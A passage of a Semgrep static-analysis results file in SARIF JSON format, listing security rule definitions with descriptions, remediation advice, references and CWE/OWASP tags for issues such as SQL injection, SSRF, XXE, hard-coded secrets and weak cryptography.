python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","id":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","name":"python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-hardcoded-database-password-uri.python-peewee-hardcoded-database-password-uri"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"help":{"markdown":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"The RSA key size $SIZE is insufficent by NIST standards. It is recommended to use a key length of 2048 or higher."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace root volume is unencrypted. The AWS KMS encryption key protects root volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-root-volume-unencrypted.aws-workspaces-root-volume-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","id":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","name":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"help":{"markdown":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string)\n - [https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html)\n","text":"Found a template created with string formatting. This is susceptible to server-side template injection and cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.render-template-string.render-template-string","id":"python.flask.security.audit.render-template-string.render-template-string","name":"python.flask.security.audit.render-template-string.render-template-string","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.render-template-string.render-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","id":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","name":"swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.hkdf-hardcoded-secret.hkdf-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"help":{"markdown":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects a user to a destination URL specified by a user supplied parameter that is not validated."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","id":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","name":"java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-unvalidated-redirect.spring-unvalidated-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"help":{"markdown":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#bypass)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account_network_rules#bypass)\n - [https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services](https://docs.microsoft.com/en-us/azure/storage/common/storage-network-security#trusted-microsoft-services)\n","text":"Some Microsoft services that interact with storage accounts operate from networks that can't be granted access through network rules. To help this type of service work as intended, allow the set of trusted Microsoft services to bypass the network rules"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","id":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","name":"terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-allow-microsoft-service-bypass.storage-allow-microsoft-service-bypass"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource](https://www.scala-lang.org/api/current/scala/io/Source$.html#fromURL(url:java.net.URL)(implicitcodec:scala.io.Codec):scala.io.BufferedSource)\n","text":"A parameter being passed directly into `fromURL` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf","id":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","name":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.io-source-ssrf.io-source-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval","id":"python.django.security.injection.code.user-eval.user-eval","name":"python.django.security.injection.code.user-eval.user-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval.user-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Kolide API Key detected"},"help":{"markdown":"Kolide API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Kolide API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","id":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","name":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","id":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","name":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","id":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","name":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","id":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","name":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","id":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","name":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password","id":"python.requests.python-requests-empty-password.python-requests-empty-password","name":"python.requests.python-requests-empty-password.python-requests-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-empty-password.python-requests-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.php.net/password_hash](https://www.php.net/password_hash)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password","id":"php.lang.security.md5-used-as-password.md5-used-as-password","name":"php.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"help":{"markdown":"ECB 